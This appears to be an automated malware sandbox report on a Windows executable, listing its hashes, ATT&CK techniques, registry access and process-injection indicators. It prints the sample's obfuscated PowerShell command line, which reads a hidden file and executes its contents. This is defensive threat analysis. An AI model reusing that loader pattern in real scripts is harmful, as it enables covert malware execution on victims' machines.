a19b171658151c4a4af32dd17474a8184cc37a0d99138ae540177e15cebd9093

Analysis

max time kernel
122s
max time network
124s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
02-12-2024 14:51

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General

Target

INTECHRFQEN241813.exe
Size

682KB
MD5

f9848165fbabe0f8b34fb5d830b2fecc
SHA1

2c53840921153910eb84270e4e12d07e82b1451d
SHA256

a19b171658151c4a4af32dd17474a8184cc37a0d99138ae540177e15cebd9093
SHA512

6dac265560ea2e03036a7737862893695ba512d2e9084325db0f1a56ba8022bd5ce4fd98fea4c515e9536e4d41a8f8845abfee128856640e374ec5055af4837c
SSDEEP

12288:7++g+++++++++++++++++G++++++++++++++++++++K++++Ubv+++++++++++++2:7++g+++++++++++++++++G+++++++++o

Score

4^/10

discovery execution

Malware Config

Signatures

Drops file in Windows directory 1 IoCs

Processes:

INTECHRFQEN241813.exe

description	ioc	Process
File opened for modification	C:\Windows\brewsterite.mes	INTECHRFQEN241813.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2100	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

INTECHRFQEN241813.exepowershell.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	INTECHRFQEN241813.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
2100	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2100	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

INTECHRFQEN241813.exe

description	pid	Process	procid_target
PID 2324 wrote to memory of 2100	2324	INTECHRFQEN241813.exe	30
PID 2324 wrote to memory of 2100	2324	INTECHRFQEN241813.exe	30
PID 2324 wrote to memory of 2100	2324	INTECHRFQEN241813.exe	30
PID 2324 wrote to memory of 2100	2324	INTECHRFQEN241813.exe	30

C:\Users\Admin\AppData\Local\Temp\INTECHRFQEN241813.exe
"C:\Users\Admin\AppData\Local\Temp\INTECHRFQEN241813.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Sontag=gc -Raw 'C:\Users\Admin\AppData\Roaming\Mirror\radials.Glu';$Dividivis=$Sontag.SubString(54192,3);.$Dividivis($Sontag)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2100-7-0x0000000074591000-0x0000000074592000-memory.dmp

Filesize
4KB

Download
memory/2100-8-0x0000000074590000-0x0000000074B3B000-memory.dmp

Filesize
5.7MB

Download
memory/2100-9-0x0000000074590000-0x0000000074B3B000-memory.dmp

Filesize
5.7MB

Download
memory/2100-11-0x0000000074590000-0x0000000074B3B000-memory.dmp

Filesize
5.7MB

Download
memory/2100-10-0x0000000074590000-0x0000000074B3B000-memory.dmp

Filesize
5.7MB

Download
memory/2100-12-0x0000000074590000-0x0000000074B3B000-memory.dmp

Filesize
5.7MB

Download